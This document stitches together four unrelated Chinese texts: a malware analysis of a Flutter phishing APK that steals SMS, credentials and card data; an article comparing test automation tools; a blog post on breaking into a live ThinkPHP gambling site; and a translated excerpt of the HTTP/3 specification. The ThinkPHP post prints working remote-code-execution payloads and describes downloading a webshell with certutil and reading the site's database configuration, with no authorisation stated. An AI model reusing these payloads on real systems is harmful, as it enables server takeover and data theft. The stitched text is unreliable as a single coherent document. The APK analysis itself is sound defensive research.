我們沒有與受害者交互的所有步驟的屏幕截圖，因為在撰寫本文時，負責處理從該APK竊取的數據的惡意服務器尚未激活。根據代碼，只有信用卡數據被盜，不需要憑證。 APK中顯示的釣魚交友網站窗口 所示消息的翻譯如下： 網絡釣魚網站上顯示的消息翻譯。 技術細節與分析純Android應用程序相比，分析基於flutter的應用程序需要一些中間步驟才能達到目的。 深度分析如上所述，Flutter使用自定義的虛擬環境來支持具有單一代碼庫的多平台開發。開發過程中使用了一種名為Dart的特定編程語言。分析Flutter平台代碼變得更容易了，因為它是一個開源項目，但仍然是一個繁瑣的過程。 Flutter Github頁面中的Dart演示 讓我們來看看在處理Flutter運行時的特殊領域時遇到的一些複雜情況。我們用哈希2811f0426f23a7a3b6a8d8b7e1bcd79e495026f4dcdc1c2fd218097c98de684解剖了一個APK。 ARM的Flutter運行時使用自己的堆棧指針寄存器（R15）而不是內置的堆棧指針（SP）。哪個寄存器用作堆棧指針在代碼執行或反向工程過程中沒有區別。然而，這對反編譯器來說有很大的不同。由於寄存器的使用不規範，會生成錯誤且難看的偽代碼。 啟動惡意軟件分析的一個好方法是確定與CC服務器的通信協議。這可以說明很多惡意功能。裡面有一個字符串，對應於我們在釣魚電子郵件中看到的網站： 惡意APK中字符串中CC服務器的地址 然而，當我們試圖找到對此字符串的一些引用時，分析失敗： IDA中沒有對CC服務器字符串的引用 我們的目標是創建對該字符串的引用，以定位執行CC通信的代碼。 Flutter -re-demo和reFlutter可以用來處理Flutter應用程序，其主要思想是使用運行時快照來創建Dart對象並查找對它們的引用。 reFlutter的主要目的是收集函數的名稱，而flutter re-demo允許我們處理在應用程序執行期間收集的內存轉儲。 然而，除了內存快照之外，還需要一些更多的運行時信息。 Flutter運行時使用堆來創建對象，並將指向已創建對象的指針存儲在一個稱為對像池的特殊區域中。指向該池的指針被傳遞到寄存器X27中的方法。我們需要找到對像池的位置。 flutter-re-demo使用Frida收集內存轉儲並獲取對像池地址。如果我們使用在flutter-re-demo存儲庫中可用的dump_flutter_memory.js腳本運行APK，我們會看到所需的地址： 帶有所需地址的Frida腳本輸出 現在我們已經擁有了開始一個高效的逆向工程所需的所有元素。 在用map_dart_vm_memory.py加載轉儲文件並運行create_dart_objects.py腳本後，我們現在至少可以看到一些對象： 腳本創建的對象 有一個名為create_dart_objects.py的腳本，用於創建dart對象。該腳本通過遍歷對像池、解析記錄和創建對象來工作。腳本沒有關於這些對象的信息，腳本會為它們創建以下描述對象格式的結構： 這裡的NNN被“class id”取代，如下所示： 由create_dart_objects.py創建的結構 在Flutter應用程序逆向工程時，研究人員注意到最後一個字段（unk）經常被用作指針。可以考慮將該字段從簡單的QWORD轉換為OFFSET QWORD。這可能會給帶來一些誤報，但也可能非常有助於創建參考。因此，我們決定更改由腳本創建的unkin結構的字段類型。以下是對原始腳本的更改： 對dart_obj_create.py腳本的更改 研究人員提到的存儲庫包含一個用於創建對Dart對象引用的腳本：add_xref_to_art_objects.py。當運行它時，該腳本會遍歷代碼並創建對create_Dart_objects.py腳本創建的Dart對象的引用。不過此時仍然只有一個對我們感興趣的字符串的引用，即來自對像池的引用： 沒有對CC服務器URL的引用 我們的第一個想法是，也許根本沒有交叉引用？不過這不可能，存在幾個交叉引用，例如，這個對象就具有引用： 幾個從函數到對象的引用 這是從函數中引用的對象： 引用在函數代碼中的外觀 通過瀏覽add_xref_to_dart_objects.py的代碼，我們可以看到文件dart_obj_xref.py。該文件還遍歷代碼，嘗試根據寄存器X27提取對數據的引用，計算這些引用的偏移量，最後創建IDA引用。對代碼的分析表明，原始腳本支持訪問該對象的兩種ARM代碼變體： 代碼是否使用了一些其他指令來引用寄存器X27？讓我們檢查一下。為了方便起見，讓我們修改腳本，並為用X27處理的每條指令添加一條註釋： dart_obj_xref.py修改 然後，我們可以檢查用X27處理的結構的反彙編程序列表，這些構造沒有附加對Dart對象的註釋引用。我們可以通過IDA生成一個列表文件並使用grep實用程序進行grep，從而部分自動化這些操作，如下所示： 首先，grep查找具有X27的所有字符串。然後，所有這些字符串都給了第二個grep命令，只打印那些不包含對Dart對象引用的字符串。因此，我們只看到不受支持的X27引用。 當檢測到不受支持的X27構造時，我們將在腳本中添加支持該構造的代碼。經過幾次迭代，我們終於獲得了對CC地址字符串的引用： 對CC地址字符串的引用 讓我們從sub_70FD611C0C開始檢查這些函數。簡要概述顯示，當與CC服務器通信時，此函數打算使用路徑為“/addcontent3”的HTTP POST方法來執行： sub_70FD611C0C函數的偽代碼 另一個Dart對像也有對這個函數的引用： 對Dart對象的引用 當我們遍歷這些引用時，我們最終得到了帶有以下代碼的函數： 負責監聽所有傳入短信的代碼 此函數為所有傳入的短信安裝一個偵聽器。 為了確保我們做了正確的靜態分析，我們在運行時在一個真實的設備上檢查了這個函數。實際上，我們捕獲了一個發送到CC服務器的POST請求。 這是設備收到帶有“Fdsa”文本的短信後的CC請求示例： 因此，使用sub_70FD611C0C函數將短信洩露到CC服務器 除了被洩露的數據類型和服務器路徑之外，函數sub_70FD61EBC4和sub_70FD61EECC看起來與已經分析的sub_70FD 611C0C非常相似。這些函數分別使用路徑“/addcontent”和“/addcontent2”，用於洩露受害者的憑據和支付卡信息。 DEX代碼中沒有服務器通信的痕跡，因此我們可以假設所有通信都位於應用程序的Flutter部分。在分析了與命令控制服務器通信相關的所有功能之後，我們可以描述網絡協議。 CC通信CC協議旨在將數據從受攻擊設備發送到服務器。沒有命令可以在相反的方向上發送，即從服務器發送到受攻擊設備。 HTTPS用於傳輸數據，並且使用了幾個終端。 以下是我們在分析樣本中遇到的每個終端的介紹： 用於約會惡意應用程序的網絡誘餌變體使用了非常相似的協議。這是一個洩露信用卡數據的示例：

測試是創建任何軟件產品不可避免的一部分。但手動測試需要花費大量時間和精力，並且可能導致產品發布延遲。自動化測試可以幫助您提高測試工作的效率並加快解決方案的發布。然而，為了確保自動化測試真正帶來最好的結果，選擇合適的自動化軟件測試工具至關重要。 在本文中，我們簡要概述了我們在Apriorit 實施的測試自動化工具。本文將對QA 專家在他們的項目中尋找正確的方法和自動化測試工具很有用。 什麼是自動化測試？自動化測試是一種使用特殊自動化工具執行回歸測試和單元測試等軟件測試的技術。這種類型的測試與手動測試相反，在手動測試中，測試用例套件由QA 專家手動創建和執行。 自動化測試適用於需要多次重複測試的大型項目，也適用於最初手動測試但需要重新測試的項目。對於短期項目，手動測試更適合，因為它比自動化測試更靈活、更容易實施。您還可以使用手動測試來檢查產品的可用性。 使用軟件工程中的自動化測試工具，您可以比較預期和收到的測試結果，並獲得不同格式的非常詳細的報告。這種方法的一個有用特性是能夠在適當的地方重用測試用例。使用自動化測試，您可以減少手動測試的數量。 測試自動化有什麼好處？讓我們從探索自動化測試相對於手動測試的一些主要優勢開始。了解它們將幫助您了解軟件測試自動化工具是否對您的項目有益。 自動化測試的優勢 1. 測試速度提升手動測試需要大量的日常工作。相比之下，自動化測試可以讓您在重複性任務上節省大量時間。此外，借助自動化軟件測試工具，您可以全天24 小時執行測試，而無需QA 專家在場並觀察過程。您可以在晚上運行一個腳本，早上就已經有了測試結果。 2. 降低測試成本從長遠來看，自動化降低了測試成本。為應用程序創建測試腳本後，您可以多次重複使用它以發現由於產品更改而出現的錯誤。 3. 提高測試精度自動化測試消除了人為錯誤的可能性。即使是專業的QA 專家也可能會犯無意的錯誤。正確組合的自動化腳本可提供最準確和詳細的測試結果。 4. 更大的測試覆蓋率自動化測試允許您模擬大量用戶在更多設備上的操作，這比手動測試專家在同一時間段內可能涵蓋的範圍要多。產品的測試覆蓋率越高，及時發現潛在錯誤的機會就越大。 5. 早期錯誤檢測確保在引入任何重大更改後測試您的產品。通過這種方式，您可以確保及早發現錯誤和錯誤，並在它們造成嚴重損害之前解決它們。 但是，如果沒有合適的工具，就不可能正確實施自動化測試。在下一節中，我們將討論最佳自動化測試工具的關鍵標準，以幫助您選擇最適合您項目需求的自動化測試工具或框架。 如何選擇最好的自動化測試工具？您可以從確定您對用於軟件測試的自動化工具的要求和評估您團隊的技能開始。然後，您可以根據這些信息評估不同的測試自動化工具和框架及其功能。 一、項目要求每個項目都是獨一無二的。因此，您應該根據特定項目的要求來選擇最佳的自動化測試工具。對於您的項目，您可以根據要求選擇自動化測試工具，例如： 被測應用類型 支持的平台 支持的瀏覽器 支持的設備 支持的腳本語言 除了這些要求之外，您還可以考慮對測試項目至關重要的其他要求。 二、 QA團隊的編程能力根據QA 團隊的編程技能水平，您需要從兩種類型的自動化測試框架中進行選擇： 無腳本框架。如果您的測試團隊中沒有人具備編程技能，最好使用無腳本框架。選擇特定工具時，請特別注意項目所需的測試複雜程度：可以使用免費工具和服務實施簡單的自動化測試，而具有復雜邏輯的測試可能需要部署付費測試自動化解決方案。 編碼框架。此選項適用於具有強大編程技能的QA 專家。與無腳本替代方案相比，編碼框架更靈活且更易於維護。此外，建議使用編碼框架來測試處理視頻或音頻的產品。當您開始使用編碼框架進行自動化測試時，您將需要花費額外的時間來創建測試用例。但稍後，您將能夠通過重用這些測試用例來節省時間並加快測試過程。 三、CI/CD 集成如果您使用或計劃使用持續集成和持續交付（CI/CD），我們建議您選擇支持CI/CD 解決方案的框架。例如，Jenkins、TeamCity 和Bamboo 等CI/CD 解決方案開箱即用地支持Java、C# 和Python。但是在將這些服務器與其他語言和框架集成時可能會遇到一些困難。 此外，如果您打算使用無腳本框架，值得注意的是並非所有框架都可以與CI/CD 系統集成。 四、報告格式報告是測試自動化框架中最重要的組成部分。完成測試過程後，測試結果報告將幫助您分析應用程序中的所有缺陷。軟件測試中不同的自動化測試工具可以為您提供以下形式的報告： 測試過程視頻記錄 檢測到的錯誤的屏幕截圖 檢測到錯誤的堆棧跟踪 失敗測試步驟的詳細報告 時間報告 根據項目的需要，您可以選擇具有不同報告選項的自動化測試工具。大多數工具都可以創建錯誤和堆棧跟踪的屏幕截圖，並為您提供有關測試時間的信息。但只有少數人可以創建視頻記錄。 視頻記錄可以讓您在測試期間實際看到系統的行為。通過這種方式，您可以花更少的時間來確定特定錯誤的原因。但是視頻錄製會消耗額外的資源，因此由於負載增加，您將能夠運行更少的測試。不過，並非所有測試都需要錄像。例如，在API 測試期間通常不需要視頻報告。 五、工具實施成本雖然測試自動化可以降低測試產品的成本，但實施自動化工具的費用也會有所不同。尤其要注意兩個因素： 框架的成本。有免費產品，但它們的功能往往有限，並不適合所有人。付費產品反過來提供了更多的測試功能，但增加了項目的測試自動化費用。 參與自動化測試過程的專家成本。這可能包括培訓人員使用所選工具執行測試或僱用額外人員在您的項目中實施自動化測試的成本。 這些是為您的項目選擇正確的自動化測試工具的一些關鍵標準。此外，您可以將您的特定要求添加到此列表中。提出最終需求列表後，您可以開始按特定功能比較不同的自動化測試工具。為了讓您更輕鬆地做出選擇，在下一節中，我們將分享Apriorit QA 專家常用的軟件測試自動化工具和框架列表。 5個最好的自動化測試工具市場上有很多自動化軟件測試工具，但並非所有工具都適合您的項目。我們想分享我們在Apriorit 成功使用的自動化測試工具列表。此列表中提供的工具可供不同級別的測試工程師使用，用於測試針對不同平台使用不同語言編寫的產品。 1. SeleniumSelenium是最流行的自動化網站和Web 應用程序測試框架之一。這個開源框架適合具有高級編程技能的QA 工程師。 Selenium包括幾個組件： Selenium IDE（集成開發環境） Selenium RC（遠程控制） Selenium WebDriver Selenium Grid 這四個組件有自己的測試自動化方法，因此您可以選擇最適合您目標的方法。 屏幕截圖1. Selenium 界面 Selenium 是一種靈活的工具，允許您創建用於自動化測試的複雜腳本。您可以使用Selenium 進行跨平台測試。但是，考慮到您可以測試的平台集可能會因您選擇的語言而異。 Selenium 的最大優勢之一是其龐大的社區。如果您在實施此測試工具時需要幫助，您可以輕鬆地從其他Selenium 用戶那裡獲得幫助。 Selenium 可能存在的缺點包括測試支持成本高、初始階段創建測試用例的速度慢以及QA 專家進入門檻高，因為它是一個編碼框架，需要強大的編程技能。 2.SelenideSelenide，一個易於使用的開源Java 測試框架，基於Selenium WebDriver。 Selenide 擴展了Selenium WebDriver和JUnit的功能。在Apriorit，我們使用此工具來快速測試尚未使用自動化工具測試的產品。 截圖2. Selenide 界面 Selenide 是跨平台的，並且有透明的WebDriver。 WebDriver 幫助您解決超時問題並允許測試Ajax 技術。使用Selenide，您不需要直接操作WebDriver，因為Selenide 控制了瀏覽器。 Selenide 的主要缺點是它只適合使用Java 編寫測試。 3. Telerik Test StudioTelerik Test Studio是軟件測試中的頂級自動化工具之一，可廣泛用於各種測試，包括移動應用程序測試、回歸測試、功能測試和負載測試。雖然它是一個無腳本框架，但您可以在必要時使用編程語言指定它的一些要求。 截圖3. Telerik Test Studio 界面 Telerik 支持不同的系統，因此非常適合跨平台和跨瀏覽器的應用程序測試。內置記錄器和自動回放允許您對多個測試使用相同的腳本，這有助於您節省時間並提高測試速度。 您可以使用Telerik Test Studio 的試用版30 天。之後，您需要購買許可證。使用Telerik Test Studio，您需要為版本控製配置一個插件。此外，與其他自動化測試工具相比，Telerik 提供了一種不太舒適且更難處理對象屬性的方式。 4.Katalon StudioKatalon Studio是軟件工程中一個相對簡單的自動化測試工具，它使用預定義的工件結構，例如測試用例、測試套件、測試對象和報告。這極大地簡化了QA 專家的任務並加快了測試速度。 截圖4. Katalon Studio 界面 該框架支持關鍵字驅動的測試。為了創建測試用例，QA 專家使用關鍵字來指示用戶對測試應用程序的操作。除了標準關鍵字外，您還可以添加自定義關鍵字。此功能將幫助編程知識有限的QA 專家更快地創建測試套件。為了更快地執行測試，您還可以使用測試套件集合功能並行或連續運行多個測試套件。 社區小是Katalon Studio 的缺點之一。如果您遇到此框架的問題，您將很難獲得任何支持。其次，您需要購買許可證才能獲得更多功能，因為只有基本功能是免費提供的。 5.TestCompleteTestComplete是一個無腳本框架，還支持多種編程語言。 截圖5. TestComplete 界面 使用TestComplete 框架，QA 專家可以記錄並在以後回放測試場景，並且可以在不同的測試階段插入檢查點以檢查結果。使用對象識別引擎，TestComplete 可以識別動態界面元素。這對於用戶界面經常變化的應用程序特別有用。 至於TestComplete的缺點，成本高，有一些穩定性問題，缺乏透明的文檔。 測試自動化工具比較在下表中，我們對本文討論的所有五種頂級測試自動化工具進行了比較： 結論自動化測試使您能夠更快、更準確地處理測試任務。但為了獲得最佳結果，選擇正確的測試工具很重要。沒有適用於所有項目的通用解決方案。選擇合適的工具取決於您的項目要求、您的預算和QA 專家的編程技能。

无意间发现一个thinkphp的菠菜站，最近tp不是刚好有个漏洞吗？ 然后就顺手测试了一下，但过程并不太顺利，不过最后还是拿下了，所以特发此文分享下思路。 0x00 一键getshell简单看了下，应该有不少人玩吧？ 正好前几天写了个测试工具，先掏出来测试一发。 工具显示存在漏洞 一键getshell，看起来很顺利的样子，哈哈。 但是...小明甩了下头发，发现事情并不简单。 菜刀连接的时候，返回500错误。 我们用火狐的hackbar验证下,没毛病啊，那为什么菜刀连接不上呢？ 作为菜逼的我不禁陷入了沉思... 0x01 开始分析因为这个工具我自己写的，从上面getshell的图片中发现调用的是第三个exp，那么我们来分析下看看。 poc如下 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 我们在poc后面输入whoami看看权限。 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami iis权限 但是可以执行部分命令，比如echo dir等等。 0x02 尝试突破拿shell既然可以执行echo 那么我们可以来尝试写入个小马试试，如果成功的话，再利用小马上传大马，说干就干，苦活来了，我们得一行一行写入进去。 注意：代码中的<>符号，要用^^转义。比如<?php转义为^<^?php 逐行写入完成后，访问的时候发现并不能正常运行，这里忘记截图了。。 接下来尝试用以下方法下载文件到服务器上也失败了。 正当我打算放弃的时候，我想起来还有个下载的命令没用。 那就是certutil.exe 说干就干，把大马放到我们服务器上，开启HFS。 然后执行以下命令。 成功进入大马，不过别高兴太早。 小明再次甩了下头发，发现事情更不简单.... 大马可以操作文件上传改名等等，但是无法编辑文件，无法查看文件源码等等，点开显示一片空白。 既然这样，那么我们进数据库看看吧。 我们都知道tp的数据库配置文件在以下这个位置 /application/database.php 大马是无法打开了，那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。 /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php 尝试type读取失败，然后又想到copy命令。 把database.php拷贝到web根目录下，改名为1.txt /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt 拷贝完成以后访问url/1.txt，发现里面是空的。 0x03 成功突破经历了一系列的失败后，我冷静下来想了下，我们还可以用file_path去读取源码试试。 用大马上传这个文件到根目录下，然后访问，成功拿到数据库配置信息。 然后填写好配置信息，进入数据库。 此文写到这里已经夜深人静，看着桌子上吃了一半的泡面，最后喝了两口汤，关机，睡觉.... 转载于原文链接：https://www.jianshu.com/p/1f9b02780f1c

5.3. 立即關閉應用程序HTTP/3實現可以在任何時候立即關閉QUIC連接。這將導致向對等方發送一個QUIC CONNECTION_CLOSE幀，這表明應用層已經終止了連接。此幀中的應用程序錯誤代碼向對等方表明連接被關閉的原因。有關在HTTP/3 中關閉連接時可以使用的錯誤代碼，請參閱第8 節。 在關閉連接之前，可能會發送一個GOAWAY 幀以允許客戶端重試某些請求。將GOAWAY幀包含在與QUIC CONNECTION_CLOSE幀相同的包中可以提高客戶端接收幀的機會。 如果存在未明確關閉的打開流，則在關閉連接時將其悄悄關閉。 5.4. 運輸關閉由於各種原因，QUIC傳輸可以向應用層表明連接已經終止。這可能是由於對等方明確地關閉、傳輸層錯誤或中斷連接的網絡拓撲變化造成的。 如果連接在沒有GOAWAY幀的情況下終止，客戶端必須假定發送的任何請求，無論是全部的還是部分的，都可能已經被處理。 6. 流映射和使用QUIC流提供可靠的字節按順序傳遞，但不保證與其他流上的字節的傳遞順序。在QUIC的版本1中，包含HTTP幀的流數據由QUIC stream幀承載，但是這個幀對HTTP幀層是不可見的。傳輸層對接收到的流數據進行緩沖和排序，向應用程序公開可靠的字節流。雖然QUIC允許在流中無序傳遞，但HTTP/3 並未使用此功能。 QUIC 流可以是單向的，僅從發起者到接收者傳輸數據，也可以是雙向的，雙向傳輸數據。流可以由客戶端或服務器發起。 當通過QUIC 發送HTTP 字段和數據時，QUIC 層處理大部分流管理。使用QUIC 時，HTTP 不需要進行任何單獨的多路復用，通過QUIC 流發送的數據總是映射到特定的HTTP 事務或整個HTTP/3 連接上下文。 6.1雙向流所有客戶端發起的雙向流都用於HTTP請求和響應。雙向流確保響應可以很容易地與請求相關聯。這些流稱為請求流。 這意味著客戶端的第一個請求發生在QUIC流0上，隨後的請求發生在流4、流8等流中。為了允許這些流打開，HTTP/3服務器應該為允許的流數量和初始流控制窗口配置非零的最小值。為了避免不必要地限制並行性，一次至少應該允許100個請求流。 HTTP/3不使用服務器發起的雙向流，儘管擴展可以定義這些流的用途。客戶端必須將接收到服務器發起的雙向流作為H3_STREAM_CREATION_ERROR類型的連接錯誤，除非已經協商了這樣的擴展。 6.2單向流任意一個方向的單向流都可用於不同的用途。其目的由流類型表示，該流類型在流的開頭作為可變長度整數發送。這個整數後面的數據的格式和結構由流類型決定。 單向流標頭 HTTP/3連接在其生命週期的早期階段的性能對單向流上的數據創建和交換非常敏感。過度限制流的數量或這些流的流控制窗口的終端將增加遠程對等方提前達到限制並被阻止的機會。特別是，實現應該考慮遠程對等方可能希望使用他們被允許使用的一些單向流來執行保留的流行為。 每個終端都需要為HTTP控制流創建至少一個單向流。 QPACK需要兩個額外的單向流，而其他擴展可能需要更多的流。因此，客戶端和服務器端發送的傳輸參數必須允許對等方創建至少三個單向流。這些傳輸參數還應該為每個單向流提供至少1024字節的流量控制信用。 請注意，如果終端在創建關項單向流之前消耗了所有初始信用，則不需要授予額外信用來創建更多單向流。終端應該首先創建HTTP 控制流以及強制擴展所需的單向流（例如QPACK 編碼器和解碼器流），然後在其對等方允許的情況下創建其他流。 如果流標頭是接收方不支持的流類型，則無法使用流的其餘部分，因為語義未知。未知流類型的接收者必須中止讀取流或刪除傳入數據而不進行進一步處理。如果讀取被中止，接收者應該使用H3_STREAM_CREATION_ERROR 錯誤代碼或保留的錯誤代碼。接收者不得將未知流類型視為任何類型的連接錯誤。 由於某些流類型會影響連接狀態，因此接收者不應在讀取流類型之前刪除來自傳入單向流的數據。 實現可以在知道對等方是否支持它們之前發送流類型。但是，可以修改現有協議組件（包括QPACK 或其他擴展）的狀態或語義的流類型，在知道對等方支持它們之前，絕對不能發送。 除非另有說明，否則發送者可以關閉或重置單向流。接收者必須容忍單向流在接收到單向流標頭之前被關閉或重置。 6.2.1 控制流控制流由0x00流類型表示。該流上的數據由HTTP/3幀組成。 每一方必須在連接開始時初始化一個控制流，並將其SETTINGS幀作為該流的第一幀發送。如果控制流的第一幀是任何其他幀類型，則必須作為H3_MISSING_SETTINGS類型的連接錯誤處理。每個對等方只允許一個控制流；接收到第二個聲稱是控制流的流必須作為H3_STREAM_CREATION_ERROR類型的連接錯誤處理。發送方絕對不能關閉控制流，接收方也絕對不能請求發送方關閉控制流。如果任何一個控制流在任何時候被關閉，這必須作為h3_close_critical_stream類型的連接錯誤處理。 由於控制流的內容用於管理其他流的行為，終端應該提供足夠的流控制信用來防止對等方控制流被阻止。 使用一對單向流而不是一個雙向流。這允許任何一方能夠盡快發送數據。根據QUIC連接上是否有0-RTT，客戶端或服務器都可以首先發送流數據。 6.2.2 push stream服務器推送是HTTP/2中引入的一個可選特性，它允許服務器在請求發出之前發起響應。 push stream由流類型0x01指示，後面是它所實現的承諾的Push ID，編碼為可變長度整數。該流上的剩餘數據由HTTP/3幀組成，並通過零個或多個臨時HTTP響應，以及隨後的單個最終HTTP 響應來實現承諾的服務器推送。只有服務器可以推送，如果服務器接收到客戶端發起的push stream，則必須將其視為H3_STREAM_CREATION_ERROR 類型的連接錯誤。 push stream標頭 客戶端不應在讀取push stream標頭之前中止對push stream的讀取，因為這可能導致客戶端和服務器之間在已使用推送ID 的情況下出現分歧。 每個Push ID只能在push stream標頭中使用一次。如果客戶端檢測到一個push stream標頭包含在另一個push stream標頭中使用的Push ID，客戶端必須將其作為H3_ID_ERROR類型的連接錯誤處理。 6.2.3 保留流類型對於N 的非負整數值，格式為0x1f * N +0x21 的流類型被保留以執行忽略未知類型的要求。這些流沒有語義，可以在需要應用層填充時發送。它們也可以在當前沒有數據傳輸的連接上發送。終端在接收時絕對不能認為這些流有任何意義。 以發送實現選擇的任何方式選擇流的有效負載和長度。當發送保留流類型時，實現可以乾淨地終止流或重置流。當重置流時，應該使用H3_NO_ERROR錯誤碼或保留錯誤碼。 7. HTTP幀層如上所述，HTTP幀在QUIC流上傳輸。 HTTP/3定義了三種流類型：控制流、請求流和push stream。本節介紹HTTP/3 幀格式及其允許的流類型。 HTTP/3幀和流類型概述 SETTINGS幀只能作為控制流的第一幀出現，從表1(1)中可以看出。請注意，與QUIC幀不同，HTTP/3幀可以跨越多個數據包。 7.1 幀佈局所有幀都具有以下格式： HTTP/3幀格式 每個幀包括以下字段： 類型：標識幀類型的可變長度整數。 長度：一個可變長度整數，用於描述幀有效負載的長度（以字節為單位）。 幀載荷：有效負載，其語義由Type 字段確定。 每個幀的有效負載必須準確包含在其描述中標識的字段。在已識別字段之後包含附加字節的幀有效載荷或在已識別字段結束之前終止的幀有效載荷必須被視為H3_FRAME_ERROR 類型的連接錯誤。特別是，冗余長度編碼必須經過驗證是自洽的。 當流完全終止時，如果流上的最後一幀被截斷，則必須將其視為H3_FRAME_ERROR 類型的連接錯誤。突然終止的流可以在幀中的任何點重置。 7.2 幀的定義7.2.1 數據DATA 幀(type=0x00) 傳送與HTTP 請求或響應內容相關的任意可變長度字節序列。 DATA 幀必須與HTTP 請求或響應相關聯。如果在控制流上接收到DATA 幀，接收者必須以H3_FRAME_UNEXPECTED 類型的連接錯誤進行響應。 數據幀 7.2.2 標頭HEADERS 幀(type=0x01) 用於攜帶使用QPACK 編碼的HTTP 字段部分。 標頭幀 HEADERS 幀只能在請求流或push stream上發送。如果在控制流上接收到HEADERS 幀，則接收者必須以H3_FRAME_UNEXPECTED 類型的連接錯誤進行響應。 7.2.3 CANCEL_PUSHCANCEL_PUSH 幀（類型=0x03）用於在接收push stream之前請求取消服務器推送。 CANCEL_PUSH 幀通過推送ID（參見第4.6 節）標識服務器推送，編碼為可變長度整數。 當客戶端發送一個CANCEL_PUSH幀時，它表示不希望接收承諾的資源。服務器應該中止發送資源，但是這樣做的機制取決於相應的push stream的狀態。如果服務器還沒有創建push stream，它就不會創建push stream。如果push stream是打開的，服務器應該突然終止該流。如果push stream已經結束，服務器仍然可以突然終止流或不採取任何行動。 服務器發送一個CANCEL_PUSH幀來表明它不會履行先前發送的承諾。客戶端不能期望相應的承諾得到實現，除非它已經接收並處理了承諾的響應。無論是否打開了push stream，當服務器確定承諾不會被履行時，它應該發送一個CANCEL_PUSH 幀。如果流已經打開，服務器可以中止在流上發送，錯誤代碼為H3_REQUEST_CANCELLED。 發送CANCEL_PUSH 幀對現有push stream的狀態沒有直接影響。當客戶端已經接收到相應的push stream時，它不應該發送CANCEL_PUSH 幀。在客戶端發送CANCEL_PUSH 幀後，push stream可能會到達，因為服務器可能尚未處理CANCEL_PUSH。客戶端應該中止讀取流，錯誤代碼為H3_REQUEST_CANCELLED。 在控制流上發送CANCEL_PUSH 幀。在控制流以外的流上接收CANCEL_PUSH 幀必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。 CANCEL_PUSH幀 CANCEL_PUSH 幀攜帶一個編碼為可變長度整數的Push ID。 Push ID字段標識正在被取消的服務器推送。如果接收到的CANCEL_PUSH幀引用了一個大於當前連接允許的push ID，這必須作為H3_ID_ERROR類型的連接錯誤處理。 如果客戶端收到CANCEL_PUSH 幀，則該幀可能會標識由於重新排序而尚未被PUSH_PROMISE 幀提及的推送ID。如果服務器接收到一個尚未被PUSH_PROMISE 幀提及的推送ID 的CANCEL_PUSH 幀，則必須將其視為H3_ID_ERROR 類型的連接錯誤。 7.2.4 設置SETTINGS 幀(type=0x04) 傳遞影響終端通信方式的配置參數，例如對對等行為的偏好和約束。單獨地，一個SETTINGS 參數也可以稱為'setting'；每個SETTINGS參數的標識和值可以稱為“設置標識”和“設置值”。 SETTINGS 幀始終適用於整個HTTP/3 連接，而不是單個流。 SETTINGS 幀必須作為每個控制流的第一幀被每個對等方發送，並且不得隨後發送。如果終端在控制流上接收到第二個SETTINGS 幀，終端必須以H3_FRAME_UNEXPECTED 類型的連接錯誤響應。 SETTINGS 幀不得在控制流以外的任何流上發送。如果終端在不同的流上接收到SETTINGS 幀，終端必須以H3_FRAME_UNEXPECTED 類型的連接錯誤響應。 SETTINGS 參數未協商；它們描述了接收對等方可以使用的發送對等方的特徵。但是，使用SETTINGS 可以暗示協商：每個對等方都使用SETTINGS 來發布一組支持的值。設置的定義將描述每個對等方如何組合這兩個集合以得出將使用哪個選項的結論。 SETTINGS 不提供識別選擇何時生效的機制。 每個對等方可以通告相同參數的不同值。例如，客戶端可能願意使用非常大的響應字段段，而服務器則對請求大小更加謹慎。 相同的設置標識符不能在SETTINGS 幀中出現多次。接收端可以將重複設置標識符的存在視為H3_SETTINGS_ERROR類型的連接錯誤。 SETTINGS幀的有效載荷由零個或多個參數組成。每個參數由一個設置標識符和一個值組成，它們都編碼為QUIC可變長度整數。 設置幀 一個實現必須忽略任何帶有它不理解的標識符的參數。 7.2.4.1 定義SETTINGS參數HTTP/3 中定義了以下設置： SETTINGS_MAX_FIELD_SECTION_SIZE (0x06)： 默認值為無限制。 為N 的非負整數值設置格式為0x1f * N +0x21 的標識符被保留以執行忽略未知標識符的要求。此類設置沒有明確的含義。終端應該在其SETTINGS幀中包含至少一個這樣的設置。終端絕對不能認為這些設置在接收時有任何意義。 由於該設置沒有定義的含義，因此該設置的值可以是實現選擇的任何值。 在[HTTP/2]中定義的設置標識符沒有對應的HTTP/3設置也被保留。這些保留的設置絕對不能發送，並且它們的接收必須作為H3_SETTINGS_ERROR類型的連接錯誤處理。 其他設置可以通過HTTP/3 的擴展來定義。 7.2.4.2 初始化HTTP實現絕對不能發送基於當前對對等方設置的理解而無效的幀或請求。 所有設置都從初始值開始。每個終端應該使用這些初始值在對等方的SETTINGS幀到達之前發送消息，因為攜帶設置的數據包可能會丟失或延遲。當SETTINGS幀到達時，任何設置都將被更改為新的值。 這樣就不需要在發送消息之前等待SETTINGS幀。在發送SETTINGS幀之前，終端絕對不能要求從對等方接收任何數據，必須在傳輸準備好發送數據後立即發送設置。 對於服務器，每個客戶端設置的初始值都是默認值。 對於使用1-RTT QUIC連接的客戶端，每個服務器設置的初始值都是缺省值。 1-RTT項在包含設置的包被QUIC處理之前總是可用的，即使服務器立即發送SETTINGS 也是如此。客戶端不應該在發送請求之前無限期地等待SETTINGS 到達，但他們應該處理接收到的數據報以增加在發送第一個請求之前處理SETTINGS 的可能性。 當使用0-RTT QUIC連接時，每個服務器設置的初始值都是上一個會話中使用的值。客戶端應該存儲服務器在HTTP/3連接中提供的恢復信息的設置，但在某些情況下，他們可以選擇不存儲設置(例如，如果會話票據在SETTINGS幀之前收到)。當嘗試0-RTT時，客戶端必須遵守存儲的設置，如果沒有存儲值，則使用默認值。一旦服務器提供了新的設置，客戶端必須遵守這些值。 服務器可以記住它發布的設置，或存儲票據中值的完整性保護副本，並在接受0-RTT數據時恢復信息。服務器使用HTTP/3設置值來決定是否接受0-RTT數據。如果服務器不能確定客戶端記住的設置與它的當前設置是兼容的，它絕對不能接受0-RTT數據。如果符合這些設置的客戶端不會違反服務器的當前設置，則記住的設置是兼容的。 